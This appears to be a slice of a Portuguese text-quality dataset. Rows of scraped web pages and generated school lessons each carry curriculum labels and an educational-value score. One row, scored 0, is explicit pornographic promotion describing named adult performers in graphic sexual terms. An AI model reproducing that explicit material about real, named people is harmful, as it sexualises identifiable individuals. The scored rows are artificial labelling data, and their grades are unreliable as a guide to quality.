álbum “Racionais MC’s - Ao Vivo”, que saiu no mesmo ano - Klaus Mitteldorf/Divulgação +Entre os destaques está a exposição inédita e gratuita que antecipa as celebrações de 30 anos dos Racionais MCs, que serão comemorados em 2018. A mostra conta com mais de 500 itens, entre vídeos, fotos e objetos pessoais, caso da tábua de madeira usada por Mano Brown para escrever as letras das músicas. Ele, ao lado de Edi Rock, Ice Blue e KL Jay, participa de palestra, na segunda (5) na Red Bull Station, e faz show na Audio, na terça (6). +""A exposição vai aproximar essa geração mais nova que talvez não conheça a história do grupo. Vai deixar o público mais perto"", diz Ice Blue (leia bate-papo com o artista). +Na ala musical, o encontro Ruído em Progresso, na quinta (8) no CCSP, apresenta artistas das cenas de metal, pós-punk e eletrônica experimental, entre elas os grupos Rakta e As Mercenárias. Já o produtor londrino John Gómez e o multi-instrumentista carioca Alexandre Kassin fazem show com convidados no Teatro Oficina. +""O eixo comum [das atrações] é a relevância que os artistas têm dentro do cenário musical, mesmo se for um nicho restrito"", diz Akin Bicudo, da festa Metanol e curador local do evento. A proposta do RBMA, diz ele, é fazer com que a cena local perceba o espaço que ela ocupa em relação ao que é produzido no mundo. +Tábua de madeira usada por Mano Brown para escrever as letras das músicas estará na exposição - Felipe Gabriel/Divulgação +Confira abaixo os destaques do evento. +Reunindo DJs, produtores e selos de eletrônica que impulsionam as noites underground de SP, a festa recebe mais de 20 artistas. A atração principal é o americano Theo Parrish, com sua fusão de house e techno. A americana Honey Dijon e a brasileira Luisa Puterman também tocam. +Casa das Caldeiras - Av. Francisco Matarazzo, 2.000, tel. 3873-6696. Sáb. (3): 18h. 18 anos. Ingr.: R$ 50. Ingr. p/ sp.redbullmusicacademy.com +O instrumentista, compositor, maestro e arranjador carioca, que produziu discos de Elis Regina e Gal Costa, apresenta seu segundo álbum autoral, ""No Voo do Urubu"", em show g ratuito na praça da Sé. No trabalho, o artista evidencia a diversidade da música brasileira e o ecletismo de suas composições. O DJ Nuts abre a apresentação. +Pça. da Sé, s/nº, Sé, região central, tel. 3107-5065. Dom. (4): 14h. 180 min. Livre. GRÁTIS +KAOSS ETUDES +O produtor musical nova-iorquino Daniel Lopatin, também conhecido como Oneohtrix Point Never, e o artista multimídia Nate Boyce, de Missouri, fazem a estreia mundial do projeto audiovisual ""Kaoss Etudes"", no qual unem música experimental e projeções em 3D. +Marabá Playarte - Av. Ipiranga, 757, República, tel. 5053-6881. Qua. (8): 21h. 18 anos. Ingr. p/ sp.redbullmusicacademy.com. Ingresso: R$ 40. +A festa, que celebra o funk, tem apresentações de Carlos do Complexo, com sua mistura de R&B, hip-hop e funk, Grandmaster Raphael, um dos primeiros produtores do gênero no Rio, e Egyptian Lover, americano pioneiro do electro rap de Los Angeles. +Audio - Av. Francisco Matarazzo, 694, tel. 3862-8279. Sex. (2): 23h. 18 anos. Ingressos.: R$ 40. Ingr. p/ sp.redbullmusicacademy.com.",original,original,original,original,2,0.4 +"Você já parou para pensar de onde vem a água que você bebe, o ar que você respira e a comida que você come? Tudo isso vem do meio ambiente! O meio ambiente é tudo aquilo que nos cerca: as plantas, os animais, o solo, a água, o ar e até mesmo as cidades que construímos. E a ecologia é a ciência que estuda como todos esses elementos se relacionam uns com os outros. Imagine a Terra como uma grande teia, onde cada fio representa um ser vivo ou um elemento natural. Se um fio dessa teia é cortado ou danificado, toda a teia pode ser afetada. + +Um dos conceitos mais importantes da ecologia é o de ecossistema. Um ecossistema é um conjunto de seres vivos (plantas, animais, fungos, bactérias) que interagem entre si e com o ambiente físico (solo, água, ar, luz solar) em um determinado local. Uma floresta, um rio, um lago, um campo, até mesmo um pequeno jardim são exemplos de ecossistemas. Em cada ecossistema, os seres vivos dependem uns dos outros para sobreviver. As plantas precisam da luz solar para fazer fotossíntese e produzir seu próprio alimento. Os animais herbívoros se alimentam das plantas, e os animais carnívoros se alimentam de outros animais. Os decompositores, como os fungos e as bactérias, se alimentam de restos de plantas e animais mortos, devolvendo nutrientes para o solo, que serão utilizados pelas plantas novamente. Esse ciclo contínuo garante a vida e o equilíbrio do ecossistema. + +Mas, infelizmente, as ações humanas estão causando grandes danos ao meio ambiente e desequilibrando os ecossistemas. O desmatamento, a poluição, a exploração excessiva dos recursos naturais, as mudanças climáticas e a introdução de espécies invasoras são algumas das principais ameaças. Quando desmatamos uma floresta, por exemplo, destruímos o habitat de muitos animais e plantas, contribuímos para o aumento do aquecimento global e prejudicamos o ciclo da água. A poluição do ar e da água afeta a saúde dos seres vivos, incluindo a nossa. A exploração excessiva dos recursos naturais pode levar à sua escassez e à extinção de espécies. As mudanças climáticas estão causando eventos extremos, como secas, inundações e tempestades, que afetam a vida de milhões de pessoas. + +O que podemos fazer para proteger o meio ambiente? A resposta é simples: cada um de nós pode fazer a sua parte. Podemos economizar água e energia, reduzir o consumo, separar o lixo para reciclagem, plantar árvores, evitar o uso de produtos descartáveis, denunciar crimes ambientais e cobrar ações dos governantes. Pequenas atitudes no dia a dia podem fazer uma grande diferença. Lembre-se: o futuro do planeta está em nossas mãos. Que tal começar hoje mesmo a cuidar do meio ambiente? Pense nas pequenas coisas que você pode fazer em casa, na escola e na sua comunidade. Converse com seus amigos e familiares sobre a importância da ecologia e do meio ambiente. Juntos, podemos construir um futuro mais sustentável para todos.",Ciências,Meio ambiente e ecologia,anos finais (6º ao 9º ano),"O texto apresenta informações básicas sobre meio ambiente, ecologia e ecossistemas, sendo relevante para o ensino fundamental. Aborda a interdependência dos seres vivos e os impactos negativos das ações humanas. A linguagem é acessível e incentiva ações de proteção ambiental, tornando-o adequado para uso educacional, embora possa ser aprofundado em níveis mais avançados. A progressão do texto permite a aplicação dos cinco pontos, dado que cumpre todos os requisitos cumulativos.",5,1.0 +"Brasil liberal já!: 59. Em 2017, o efeito Temer na economia será devastador! +59. Em 2017, o efeito Temer na economia será devastador! +Em entrevista ao programa Roda Viva da TV Cultura de São Paulo, presidente da República Michel Temer afirmou que não tem preocupações em ""perder seu cargo"" em razão das investigações do TSE, num processo impetrado pelo PSDB no TSE pedindo cassação do registro da chapa Dilma/Temer nas eleições de 2014. De fato, a preocupação é do povo brasileiro, exposto aos sucessivos crises políticas. +Michel Temer no exercício do cargo de presidente da República, diante do processo de cassação da chapa Dilma/Temer pelo TSE, quer tentar ""apartar"" (sic) a prestação de conta da campanha, como se o registro das candidaturas fossem feitos ""apartadamente"" (sic). As conveniências falam mais alto que a própria lógica. +Numa eventual cassação do mandato do presidente Temer, tomará posse o presidente da Câmara, que convocará eleição indireta para o cargo de presidente da República para o restante do mandato que vai até 31 de dezembro de 2018, em 90 dias. Michel Temer, se for cassado a chapa Dilma/Temer pelo TSE, ficará inelegível por 8 anos a qualquer cargo eletivo. Esta situação não é novidade na história política do País. +No meu entender, o efeito Trump, citado pelo Temer, é apenas cortina de fumaça para esconder as nossas mazelas políticas e verdadeiros problemas econômicos. O ano de 2017, será um ano de turbulência política, querendo ou não querendo os atores políticos e econômicos. +Em 2017, o efeito Temer na economia será devastador! Ou exatamente oposto, não sabemos. +Luiz Carlos Bouissou 15 de novembro de 2016 02:49 +Obrigado pelo comentário. Através de discussão dos problemas nacionais haveremos de chegar num consenso para o ""melhor futuro"" para o País. +Quanto ao seu comentário de que está havendo retomada de investimento, é propaganda do governo. Os investidores diretos (aqueles que investem em fábricas) não farão novos investimentos enquanto o governo brasileiro paga os juros reais da dívida pública brasileira, a mais alta entre 40 maiores economias do mundo. +Se você ler as mais de 50 matérias deste blog, encontrará a respostas para suas dúvidas. O governo Temer erra feio na política monetária (cambial e de juros). Não haverá desenvolvimento sustentável enquanto o governo continuar pagando os juros mais altas (5% reais) do planeta. +A política monetária do governo Temer, sobretudo, atende aos interesses dos especuladores financeiros nacionais e internacionais. Ainda, assim, apesar dos juros reais altos, há revoada de dólares para os Estados Unidos, a terra do Trump, a quem o Temer chama de ""aventureiro"". +Outro fator que me deixa descrente no crescimento sustentável, enquanto permanecer o governo Temer, é a instabilidade política devido a pendência do processo de cassação da chapa Dilma/Temer. Muitos anos de ""janela"", posso afirmar que a instabilidade política ""inibe"" investimentos na área produtiva. +61.Decifre o enigma da Previdência Social. +59. Em 2017, o efeito Temer na economia será devas... +57. Ano de 2017, o pior ainda está por vir +56. Entenda o motivo porque o Brasil não cresce.",original,original,original,original,1,0.2 +"I'Ve Got You, Babe (Cód: 630560) +From the first moment they meet, unlikely lovers Vanessa Tower, a promer, quiet teacher, and Christopher 'Crash' Dunmoor, a wild, risk-taking adventurer and loner with no ties, find themselves falling in love. Original. Características +Produto sob encomenda Sim Marca Harpercollins Usa Cód. Barras 9780060502324 Altura 0.00 cm I.S.B.N. 0060502320 Profundidade 0.00 cm Referência 0003931648 Acabamento Brochura Ano da edição 2002/11/01 Idioma Inglês Número de Páginas 384 Peso 0.40 Kg Largura 0.00 cm AutorKendall,Karen +Avaliação geral: 0 Avalie Você está revisando: I'Ve Got You, Babe Como você avalia este produto?",original,original,original,original,1,0.2 +"Olá, pequenos historiadores! Já pararam para pensar de onde vêm as histórias que vocês mais gostam de ouvir? Muitas vezes, elas começam dentro de casa, com a nossa família, e se espalham pela nossa comunidade. Vamos descobrir juntos como a família e a comunidade são como um livro cheio de aventuras! + +A família é o nosso primeiro grupo, onde aprendemos coisas importantes como amar, respeitar e cuidar uns dos outros. Cada família tem um jeito especial de ser: algumas são grandes, com muitos irmãos, primos e avós, outras são menores, com apenas a mamãe, o papai e os filhos. Não importa o tamanho, o que importa é o carinho e o amor que unem as pessoas! Assim como em um time de futebol, cada membro da família tem um papel importante. Alguém cozinha, outro ajuda na limpeza, e todos se apoiam nos momentos bons e ruins. + +E a comunidade? A comunidade é como um grande bairro, onde vivem muitas famílias diferentes. Na nossa comunidade, encontramos a escola, a padaria, o parque, a igreja, e muitos outros lugares importantes. Assim como as famílias, as comunidades também têm suas histórias, seus costumes e suas tradições. Pensem na festa junina da escola ou no desfile de 7 de setembro. Essas são celebrações que fazem parte da história da nossa comunidade e que nos unem. + +As histórias da família e da comunidade se misturam. Imagine a receita de bolo da vovó, que é passada de geração em geração. Essa receita é uma parte da história da família e, ao mesmo tempo, pode ser uma tradição da comunidade. As brincadeiras que aprendemos com os amigos no bairro, os contos que ouvimos dos vizinhos mais velhos… Tudo isso faz parte da nossa história! + +Que tal fazer uma atividade super legal? Conversem com seus pais, avós ou outros familiares e perguntem sobre as histórias da família. Descubram de onde vieram, quais eram seus brinquedos preferidos, como era a escola antigamente. Depois, pesquisem sobre a história da sua comunidade. Qual é o nome do seu bairro? Por que ele recebeu esse nome? Quais são os lugares mais antigos e importantes da sua comunidade? Anotem tudo e criem um livro de histórias da família e da comunidade! Assim, vocês serão verdadeiros detetives do passado, descobrindo como a nossa história começa em casa e se espalha por toda a comunidade. A história de cada um de nós é um pedacinho da história do Brasil! + +E agora, pensem um pouquinho: Quais são as coisas que você mais gosta de fazer com a sua família? E na sua comunidade, qual é o seu lugar preferido e por quê? Compartilhem suas ideias com os colegas e com o professor. Descobrir a nossa história é uma aventura incrível!",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, adequado para os anos iniciais do ensino fundamental. Introduz conceitos de família e comunidade como fontes de história e identidade, incentivando a pesquisa e o registro. A linguagem é acessível, e a proposta de atividade prática (criar um livro de histórias) é pertinente. Apresenta questões reflexivas que estimulam a interação em sala de aula. O conteúdo é relevante, coerente e bem estruturado, alinhado ao currículo de história e geografia.",5,1.0 +"A ReEvolução da Marvel | | Impulso HQ +Renato Lebeau 15 de março de 2012 A ReEvolução da Marvel2012-03-15T08:57:14-03:00 quadrinhos No Comment +No último fim de semana a Marvel anunciou o lançamento de dois produtos interativos que podem afetar a maneira que você lê seus gibis: um aplicativo para realidade aumentada e uma história do Nova feita exclusivamente para tablets. +Ambos foram anunciados no evento South in Southwest Interactive, no Texas, sob o banner Marvel ReEvolution – algo como ReEvolução da Marvel – , o projeto da editora para lançar materiais digitais e interativos. +O primeiro deles utiliza o conceito de realidade aumentada, no qual informações do mundo digital são obtidas a partir de elementos do real, geralmente a partir de uma câmera. Em outras palavras, é o que acontece quando um smartphone é apontado para um objeto e imediatamente acessa informações na internet. +Em abril a Marvel disponibilizará um aplicativo chamado Marvel AR, que permitirá que o leitor obtenha mais informações sobre a história que está lendo na revista impressa. Basta apontar o gadget no qual o aplicativo foi instalado – smartphone, tablet, etc – para visualizar novidades sobre a HQ. +A primeira edição a atuar em conjunto com o aplicativo será, claro, Avengers vs. X-Men 1. Ao longo da leitura, o leitor poderá posicionar seu gadget em determinados quadrinhos, e assistir, por exemplo, a um vídeo de algum dos criadores explicando porque aquela cena é importante ou como foi o processo criativo. +O aplicativo poderá ser comprado por U$ 0.99 através do comiXology ou obtido gratuitamente com a edição Avengers vs. X-Men 1. Por enquanto, o Marvel AR atuará somente com quadrinhos impressos. +Um bom exemplo de realidade aumentada em quadrinhos foi apresentado há algumas semanas pela editora Valiant Comics para divulgar o relançamento da revista X-O Manowar: +O outro produto lançado com o banner Marvel ReEvolution será uma história do herói espacial Nova. Escrita por Mark Waid e desenhada por Stuart Immonem, a história será um tie-in de Avengers vs. X-Men e estará disponível exclusivamente para tablets. +Esta exclusividade se deve ao fato dela ter sido desenvolvida com o conceito de infinite canvas, ou tela infinita. Nesta ideia, os quadrinhos digitais são vistos como livres das limitações de uma folha de papel e podem ser apresentados ao leitor da maneira que o autor desejar. Na tela do tablet aparecerá somente os elementos que o criador achar conveniente para a narrativa, e o toque na tela levará a outros elementos, como um novo balão de diálogo para algum personagem ou um novo quadrinho. Nesta experiência, o leitor ainda controla o tempo da leitura, como se estivesse correndo os olhos pela página ou virando as folhas, mas é o autor quem comanda a ordem da narrativa. +Em 2009 o artista francês Yves Bigeral apresentou em sua página do Deviant Art uma HQ curta demonstrando como funciona a ideia da tela infinita. Seu trabalho serviu como uma das fontes de inspiração para a nova forma da Marvel de contar histórias e vale a pena conhecer para ter uma ideia de como será a HQ do Nova. +É importante saber ainda, que nesta nova forma de contar histórias, não há as detestáveis animações, efeitos em flash e todos os outros elementos que descaracterizam as HQs. +Particularmente, achei os dois produtos muito, mas muito legais. Eu já estava animado com a simples possibilidade de ler quadrinhos no iPad, mesmo que com toda a página na tela e todos os quadrinhos sendo apresentados de uma só vez. Mas, uma HQ com o conceito de tela infinita foi demais! Além disso, ler uma revista impressa e ter mais materiais só de apontar o celular ou o tablet para ela, enriquece ainda mais a leitura. +Os leitores do SOC! sabem que sou mais DC do que Marvel. Mas, sinceramente, uma inovação tecnológica como esta, parece-me muito mais relevante do que recontar a origem do Superman e do Batman pela 43ª vez e adaptá-los para a geração de leitores que cresceram dentro de um videogame. +Espero que tod...",original,original,original,original,3,0.6 +"Já se sentiu como um detetive tentando desvendar um mistério? A resolução de problemas em matemática é exatamente isso! Em vez de pistas escondidas em um livro, você encontra números, informações e desafios lógicos que precisam ser decifrados. Mas não se preocupe, com as ferramentas certas, você se tornará um mestre na arte de resolver problemas! + +**O que é um problema matemático?** + +Um problema matemático é uma situação que exige uma solução, utilizando conhecimentos e habilidades matemáticas. Ele pode aparecer em diversas formas: um texto descrevendo uma situação, uma imagem com informações numéricas ou até mesmo uma questão que surge no seu dia a dia. O importante é identificar o que se pede e quais informações você tem à disposição. + +**O Segredo para o Sucesso: Passos Fundamentais** + +1. **Compreensão:** Leia o problema com atenção, quantas vezes forem necessárias. Sublinhe as informações importantes, identifique o que está sendo perguntado e tente visualizar a situação. Imagine a cena! Se o problema fala de pizzas, imagine as pizzas sendo divididas. + +2. **Planejamento:** Agora que você entendeu o problema, pense em como resolvê-lo. Quais operações matemáticas serão necessárias? (Adição, subtração, multiplicação, divisão?). Organize as informações e defina uma estratégia. Às vezes, desenhar um diagrama ou fazer uma tabela pode ajudar muito. + +3. **Execução:** Coloque o seu plano em prática! Realize os cálculos com cuidado, seguindo a ordem correta das operações. Preste atenção aos detalhes e não se esqueça das unidades de medida (metros, quilogramas, etc.). + +4. **Verificação:** Ufa! Você chegou a uma resposta. Mas espere, será que ela faz sentido? Verifique se a sua resposta é razoável e se responde à pergunta original. Se estiver calculando a quantidade de pessoas em uma sala, sua resposta não pode ser um número negativo, certo? Use o bom senso! + +**Exemplos Práticos do Dia a Dia** + +* **Dividindo a Pizza:** Uma pizza grande foi cortada em 12 fatias. Se você e seus dois amigos comerem a mesma quantidade de fatias, quantas fatias cada um comerá? + * *Compreensão:* Temos 12 fatias e 3 pessoas (você e dois amigos). + * *Planejamento:* Dividir o número total de fatias pelo número de pessoas. + * *Execução:* 12 / 3 = 4 fatias. + * *Verificação:* 4 fatias por pessoa x 3 pessoas = 12 fatias. A resposta faz sentido! + +* **Calculando o Troco:** Você comprou um pacote de figurinhas por R$ 5,50 e pagou com uma nota de R$ 10,00. Quanto você receberá de troco? + * *Compreensão:* Você pagou R$ 10,00 e a compra custou R$ 5,50. + * *Planejamento:* Subtrair o valor da compra do valor pago. + * *Execução:* R$ 10,00 - R$ 5,50 = R$ 4,50. + * *Verificação:* R$ 5,50 (figurinhas) + R$ 4,50 (troco) = R$ 10,00. Tudo certo! + +**Perguntas para Refletir** + +* Em quais outras situações do seu dia a dia você usa a resolução de problemas matemáticos? +* Qual a sua maior dificuldade ao resolver um problema? Como você pode superá-la? +* Você prefere resolver problemas sozinho ou em grupo? Por quê? + +A resolução de problemas é uma habilidade essencial não apenas para a matemática, mas para a vida! Ao praticar e seguir os passos que aprendemos aqui, você estará preparado para enfrentar qualquer desafio que surgir, seja na escola, em casa ou no mundo afora. Então, pegue seu lápis, sua borracha e prepare-se para desvendar os enigmas da matemática!",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, adequado para o ensino fundamental. Apresenta informações básicas relevantes sobre resolução de problemas matemáticos, aborda elementos pertinentes à educação de forma organizada e alinhada aos parâmetros curriculares, introduz conceitos importantes de forma clara e consistente, e oferece exemplos práticos e perguntas para reflexão, promovendo um aprendizado estruturado e engajador.",5,1.0 +"Plural das cores - Só Português +Para definir o plural das palavras referentes a cores, devemos observar que elas podem ser simples ou compostas, assim como pertencentes à classe gramatical dos adjetivos ou substantivos. +Por exemplo, se dizemos ""as camisas azuis"", estamos usando ""azuis"" como adjetivo. Se dizemos ""a calça laranja"", estamos usando um substantivo para indicar a cor da calça, pois laranja é nome de fruta. +Cores que são apenas adjetivos +Observe algumas cores que são realmente adjetivos, com o respectivo plural: +amarelo - amarelos +azul - azuis +branco - brancos +preto - pretos +verde - verdes +vermelho - vermelhos +Além das cores, também são adjetivos os vocábulos claro, escuro, castanho, que têm o plural claros, escuros, castanhos. Em todos esses casos, o plural ocorre como nos outros adjetivos, ou seja, são flexionados em gênero e número: +Cores que podem ser substantivos +São originalmente substantivos, sendo transformadas em adjetivos por derivação imprópria. Entre elas, podemos citar: laranja, cinza, rosa, violeta, gelo, areia, creme, vinho, entre outras. Neste caso, ficam invariáveis no plural: +camisas laranja +As cores também podem formar palavras compostas. Caso os dois elementos sejam adjetivos, somente o segundo elemento é flexionado: +Comprei uma camisa com listras verde-claras. +Ele tem olhos castanho-escuros. +Os brasileiros vestiam camisetas verde-amarelas. +Ele tem sapatos azul-claros. +Se um dos elementos for uma cor derivada de um substantivo, o composto fica invariável: +As camisas do time eram verde-água. +Comprei três canetas amarelo-limão. +Ganhei dois casacos amarelo-ouro. +Usei tons rosa-claro e verde-musgo na decoração da sala. +A loja vendia saias vermelho-sangue. +Observação: ""azul-celeste"" e ""azul-marinho"" são exceções à regra de flexão de nome de cores, ficando invariáveis. +""Meio-tempo"" ou ""meio tempo""? +""Mega"" e o hífen +""Infra"" e o hífen +""Pan-americano"" ou ""panamericano""? +Como referenciar: ""Plural das cores"" em Só Português. Virtuous Tecnologia da Informação, 2007-2020. Consultado em 16/02/2020 às 17:01. Disponível na Internet em https://www.soportugues.com.br/secoes/FAQresposta.php?id=130",original,original,original,original,5,1.0 +"Cleo Castellari é uma morena perfeita! Essa gostosa para delírio da macharada, mas antes de dar o ar da graça ela participou do único reality show de sexo explícito do Brasil! Durante sua participação, Cléo se mostrou muito desinibida, animada e safada, é claro! Ela atendeu à todos os pedidos internautas depravados e revelou inúmeros segredos. Essa morena contou que sua posição favorita é de quatro e ainda demonstrou no sofá da Casa com o rabo gostoso bem empinado! +Essa morena tem o corpo moldado para o pecado com lindos peitos fartos, bunda gostosa, bucetinha apertadinha e a marquinha do biquíni sempre em dia, tudo isso distribuído em 1,72m de altura! Cléo Castellari mantem sua forma apenas andando de bicicleta e confessa que tem preguiça de ir à academia! Essa morena adora caprichar na putaria e sua boquinha é inesquecível! Cléo vai te deixar babando de tesão! +Fabiane Thompson iniciou sua carreira em 2004 com 21 anos. Após o convite de um ator pornô, enquanto estava passeando por um shopping center. Ela é uma das atrizes da indústria pornográfica brasileira mais populares. Muito conhecida por cenas de sexo anal, oral, dupla penetração, fist fucking e sexo mais pesado. Mesmo atuando em diversas cenas lésbica se considera heterossexual. +Manu Fox, tem 25 aninhos, uma loirinha gostosa que adora dar sua bucetinha, sem restrições, essa safada faz de tudo, mas confessa nunca ter feito gang bang e dupla penetração. +Gostosona com peitos grandes, a safada faz de tudo porque ama putaria e muito sexo. Tesuda e com a pesonalidade forte, esta loirinha conta que adora fazer sexo anal e uma pica grande. Participou do filme “Taras de Mulheres”, num gang bang lésbico, onde ela e mais três gostosas caem de boca na bucetas gostosas umas das outras, fazendo muito sexo oral, cunete e usando muito consolo. +Priya Rai é uma atriz pornô indiana, mas morava com os pais nos Estados Unidos desde os dois anos. Aos vinte anos, começou a fazer trabalhos como modelo após abandonar os estudos na universidade. No inicio, fazia ensaios para várias marcas de roupas de banho e lingerie. +Sua estreia no mercado de filmes eróticos ocorreu em 2007 quando tinha 30 anos e destaca-se por sua participação em produções do gênero MILF. +Cinthia Santos é uma ex-atriz de filmes pornográficos brasileira. Anteriormente, havia trabalhado como “mallandrinha,” como são conhecidas as assistentes de palco de Sérgio Mallandro. Iniciou sua carreira no cinema adulto em 2007. Angel Lima é uma atriz de filmes porno. Ficou conhecida por suas participações no programa da Rede TV!, Teste de Fidelidade e por sua semelhança com a modelo Juju Salimeni",original,original,original,original,0,0.0 +"#02f431 Esquema de código de cores Hex, Gráficos, Paletes, Tintas e Conversão RGB / CMYK / HSL +#02f431 Código de Cor Hex +O código de cor hexadecimal #02f431 é uma forma de verde. No modelo de cor RGB #02f431 é um compromisso de 0.78% vermelho, 95.69% verde e 19.22% azul. No espaço de cor HSL #02f431 tem tonalidade 131.65 graus, 98.37% saturação e 48.24% intensidade. Esta cor tem um comprimento de onda de aproximadamente 537 nm. +#02f431 Informação +#fd0bce 25% Saturado +#02f431 25% Mais Escuro +#20d543 Segurança de Web: lime +vermelho: 0.7843%, amarelo: 80.2524%, azul: 95.6863% +tonalidade: 132 (131.6529), saturação: 99 (99.1803), valor: 96 (95.6863) +ciano: 99 (0.9918), magenta: 0 (0), amarelo: 80 (0.7992), preto: 4 (0.0431) +ciano: 99 (0.9922), magenta: 4 (0.0431), amarelo: 81 (0.8078) +Esquemas de Cores para #02f431 / Combinações de Cores e Harmonias +#02f431 para Preto +#02f431 para Branco +#02f431 primeiro plano +

#02f431 primeiro plano

+#02f431 fundo +

#02f431 fundo

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#02f431 margem

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#02f431 degrade radical

+#02f431 degrade linear para complementar #f401c5 +

#02f431 degrade linear para complementar #f401c5

+#02f431 sombra de texto +

#02f431 sombra de texto

+As cores de tinta relacionadas estão listadas por relevância para o código de cor hex #02f431. A relevância é determinada pela semelhança visual média das 4 tintas mais parecidas de cada marca de tinta com a hex cor #02f431. +#1f19dd",original,original,original,original,3,0.6 +"Olá, pequenos exploradores do mundo das letras! Já pensaram em como as histórias podem nos levar para lugares incríveis, conhecer personagens superdivertidos e aprender um montão de coisas novas? Hoje, vamos embarcar em uma aventura pelo mundo da literatura brasileira, um tesouro cheio de cores, sons e muita imaginação! + +A literatura brasileira é como um jardim secreto, cheio de flores raras e caminhos misteriosos. Nela, encontramos contos de fadas com personagens brasileiros, como a Cuca, o Saci-Pererê e o Boitatá, que são muito mais legais que os dragões e cavaleiros dos contos estrangeiros, porque fazem parte da nossa cultura! Já ouviram falar deles? São personagens que nos ensinam sobre a natureza, a importância de respeitar os mais velhos e a esperteza para lidar com os desafios da vida. + +Imagine, por exemplo, um livro que conta a história de um menino que encontra um Saci-Pererê na floresta. O Saci, com seu gorro vermelho e uma perna só, adora fazer travessuras, como esconder objetos e dar nós nos pelos dos cavalos. Mas, no fundo, ele é um bom amigo e pode ensinar muitas coisas sobre as plantas, os animais e os segredos da mata. Ou, que tal uma história sobre uma menina que se perde na floresta e encontra a Cuca, uma bruxa com cabeça de jacaré que assusta as crianças desobedientes? Mas, ao invés de se assustar, a menina usa sua inteligência para ajudar a Cuca a resolver um problema e, no final, as duas se tornam grandes amigas. + +Essas histórias nos mostram que a literatura não é só para ler, mas também para pensar, imaginar e criar. Podemos inventar nossos próprios finais para as histórias, desenhar os personagens que mais gostamos e até mesmo escrever nossas próprias aventuras! Que tal pegar um livro de Monteiro Lobato, como Reinações de Narizinho e começar a descobrir o Sítio do Picapau Amarelo? Ou ler alguma história de Ana Maria Machado? Há muitos autores brasileiros esperando para serem descobertos! + +A literatura brasileira é um presente para todos nós. Ela nos ajuda a entender quem somos, de onde viemos e para onde queremos ir. Então, que tal começar a explorar esse mundo mágico agora mesmo? Peça para seus pais ou professores indicarem livros de autores brasileiros e preparem-se para uma aventura inesquecível! Qual personagem da literatura brasileira você mais gostaria de conhecer e por quê? Compartilhe suas ideias e vamos juntos celebrar a riqueza da nossa cultura!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional. Introduz a literatura brasileira de forma lúdica e envolvente, utilizando personagens do folclore nacional. Estimula a imaginação, a leitura e o conhecimento da cultura brasileira, sendo adequado para os anos iniciais do ensino fundamental. A linguagem é acessível e o conteúdo é relevante, incentivando a criação e a reflexão.",5,1.0 +"Blog de Indaiatuba +Reunião de Pais +por Indaiatuba +Start: 09/06/2011 - 5:35pm +Timezone: Etc/GMT-3 +No dia 30 de março de 2.011, foi realizada a primeira reunião de pais deste ano,mas infelizmente contamos com a presença de poucos pais e responsáveis. Foram tratados assuntos como: apresentação dos professores e estagiários deste ano, breves informações sobre o IEE e o núcleo de Indaiatuba, espaços para a realização das aulas, cronograma do ano, grupo de ginástica das mães, datas da próxima reunião, grupo de jovens, eventos e também apresentados vídeos de alguns eventos. +Atividades Aquaticas +por Indaiatuba +Start: 29/11/2011 - 5:25pm +Timezone: Etc/GMT-3 +Aconteceu nos dias 18 e 25 de novembro, o 1° Festival de esportes aquáticos. Entre os jogos que foram realizados estavam biribol e basquete adaptado.Mas a atividade que chamou mais a atenção dos alunos foi o SURF na piscina, onde os alunos tiveram uma aula conhecendo todas as partes e materiais que compõe a prancha, tiraram dúvidas referentes ao esporte e também foram para prática aprendendo algumas coisas básicas de como ""surfar"", além terem a oportunidade de brincar com a prancha dentro da piscina. +Caça ao Tesouro +Reunião de Jovens +por Indaiatuba +Start: 17/05/2011 - 9:40pm +Timezone: Etc/GMT-3 +REUNIÃO DE JOVENS +No dia 13 de abril de 2011 foi realizada nossa 1ª reunião de jovens do ano. Nosso grupo de jovens está se renovando com a participação dos alunos da turma mais nova que agora passam a fazer parte do nosso grupo e também assumirão algumas responsabilidades do nosso grupo. +Circuito Etapa Final +CIRCUITO ETAPA FINAL +No dia 26 e 27 de março de 2011, foi realizada a etapa final do circuito de jovens de 2010. Foram realizados diversos jogos esportivos, entre eles: Pebolim humano, vídeo game, splash entre outros, além dos jogos noturnos como, por exemplo, o caça ao tesouro, também teve uma baladinha para os participantes do evento. +Esse evento foi realizado nas categorias: masculino, feminino e misto, onde o núcleo de Indaiatuba participou apenas do feminino.",original,original,original,original,3,0.6 +"Ano: 2005 Vol. 71 Ed. 6 - Novembro - Dezembro - (0º) +Páginas: 692 a 693 +Challenge in RBORL History +Autor(es): Silvio Caldas Neto +É tarefa difícil escrever o nosso primeiro editorial à frente da querida Revista Brasileira de Otorrinolaringologia. Rica no seu conteúdo científico e excelente na sua qualidade editorial, a RBORL tem, de mais admirável, a sua história. E é essa história que nos desafia. Nascida Revista Oto-laringologica de São Paulo, em janeiro de 1933 (Figura), ocasião em que seus ""redactores"" procuravam desfazer ""pensamentos malévolos"" que lhe atribuíam, pelo título, um ""acto de regionalismo"", ela foi incorporada, nos primeiros anos da década de 1950, à recém criada Federação Brasileira das Sociedades de Otorrinolaringologia e Broncoesofagologia, tornando-se indiscutivelmente nacional, como fazia pressupor sua nova e definitiva denominação. É curioso (e talvez não mera coincidência) que, em 1935, em Recife, o nosso avô paterno, do qual herdamos o nome, criava a revista Anais de Oto-Rino-Laringologia, periódico científico de circulação regional bastante saudada pela comunidade otorrinolaringológica da época na capital pernambucana e no nordeste brasileiro. +Sua trajetória acompanhou as mudanças ocorridas em termos globais em vários paradigmas relativos à publicação científica. Uma dessas mudanças foi o crescente grau de profissionalização da edição dos periódicos. Outra, não menos importante, foi a clara compreensão da publicação científica como elemento formador e indicador de nível de excelência científica de pesquisadores, programas de pós-graduação, instituições de ensino e, mesmo, de toda uma comunidade. Por outro lado, o grande avanço da RBORL reflete a igualmente íngreme ascensão da otorrinolaringologia brasileira como especialidade médica de ponta na produção intelectual do nosso país. +A qualificação de uma revista e o seu fator de impacto dependem de sua regularidade, periodicidade e qualidade científica. Este último critério é razão direta da proporção de artigos originais e relatos de caso. No caso da RBORL, essa proporção é muito boa, mas pode melhorar. Como é enorme a quantidade de relatos de caso submetidos, eles formam uma demanda reprimida gigantesca, à qual teremos que dar vazão, sem comprometer a qualidade científica, o que nos obrigará a, mormente a relevância de alguns relatos, temporariamente, interromper o recebimento deste tipo de artigo, após o que iremos instituir para eles métodos mais 